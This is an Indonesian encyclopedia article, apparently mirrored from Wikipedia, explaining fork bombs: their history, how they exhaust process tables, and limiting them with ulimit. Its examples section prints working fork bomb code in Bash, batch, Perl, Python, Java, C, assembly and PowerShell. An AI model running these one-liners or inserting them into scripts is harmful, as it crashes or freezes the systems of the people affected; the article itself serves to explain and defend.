Fork bombDalam komputasi, fork bomb, (juga disebut virus kelinci atau wabbit) adalah denial-of-service attack dimana proses terus bereplikasi sendiri untuk menguras sumber daya sistem yang tersedia, memperlambat atau membekukan sistem karena kekurangan sumber daya. SejarahSekitar tahun 1978, varian awal dari sebuah bom garpu yang disebut wabbit dilaporkan berjalan pada sebuah System/360. Serangan itu mungkin telah diturunkan dari serangan serupa yang sering disebut RABBITS. Serangan ini dilaporkan dari tahun 1969 pada sebuah Burroughs 5500 di University of Washington.[1] ImplementasiBom garpu beroperasi baik dengan memakan waktu CPU dalam proses forking, dan dengan menjenuhkan proses table sistem operasi.[2][3] dasar pengoperasian bom garpu adalah infinite loop yang berulang kali meluncurkan proses yang sama. Pada sistem operasi serupa-Unix bom garpu umumnya ditulis menggunakan fork system call. Sebagai proses bercabang yang juga merupakan salinan dari program pertama, setelah mereka melanjutkan eksekusi dari alamat berikutnya di frame pointer, mereka juga berusaha untuk membuat salinan dari diri mereka sendiri; ini memiliki efek yang menyebabkan pertumbuhan eksponensial dalam proses. Sistem Unix modern umumnya menggunakan copy-on-write ketika melakukan forking proses-proses baru,[4] sebuah bom garpu umumnya tidak akan membuat jenuh sistem memori. Sistem operasi Microsoft Windows tidak memiliki fungsi setara dengan Unix fork system call;[5] oleh karena itu bom garpu pada suatu sistem operasi harus membuat sebuah proses baru bukan forking dari yang sudah ada. Contoh bom garpu
Bash :(){ :|:& };:
Triknya adalah bahwa Sama seperti diatas tetapi di encode dengan shell script: #!/bin/bash
./$0|./$0&
Windows batch :s
start "" %0
goto s
Sama dengan diatas, tetapi lebih singkat: %0|%0
Kombinasi dari dua perintah diatas(untuk mencocokan konsep): :s
start "" %0
%0|%0
goto s
Sama dengan diatas, tetapi dilakukan di command line menggunakan ^ untuk menghindari: echo %0^|%0 > forkbomb.bat
forkbomb.bat
PerlContoh inline shell menggunakan Perl interpreter: perl -e "fork while fork" &
PythonKode dibawah dibuat menjadi file Python ( import os
while 1:
os.fork()
Javapublic class ForkBomb
{
public static void main(String[] args)
{
while(true)
{
Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
}
}
}
C#include <unistd.h>
int main(void)
{
while(1) {
fork(); /* malloc can be used in order to increase the data usage */
}
}
Assembly (Linux berjalan pada sistem IA-32)Kode di bawah ini dapat dijalankan di KolibriOS, karena KolibriOS dibuat menggunakan bahasa Assembly. Contoh kode Assembly interpreter: section .text
global _start
_start:
mov eax,2 ;System call for forking
int 0x80 ;Call kernel
jmp _start
PowerShellKode dibawah dibuat menjadi file PowerShell Script ( while($true) {
Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:";
Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';}
PencegahanKarena modus operasi bom garpu sepenuhnya dikemas dengan menciptakan proses-proses baru, salah satu cara untuk mencegah bom garpu dari kerusakan parah yang mempengaruhi seluruh sistem yaitu dengan membatasi jumlah maksimum dari proses yang dapat dilakukan 1 pengguna. Di Linux, hal ini dapat dicapai dengan menggunakan utilitas ulimit; sebagai contoh, perintah Lihat jugaReferensi
|
Portal di Ensiklopedia Dunia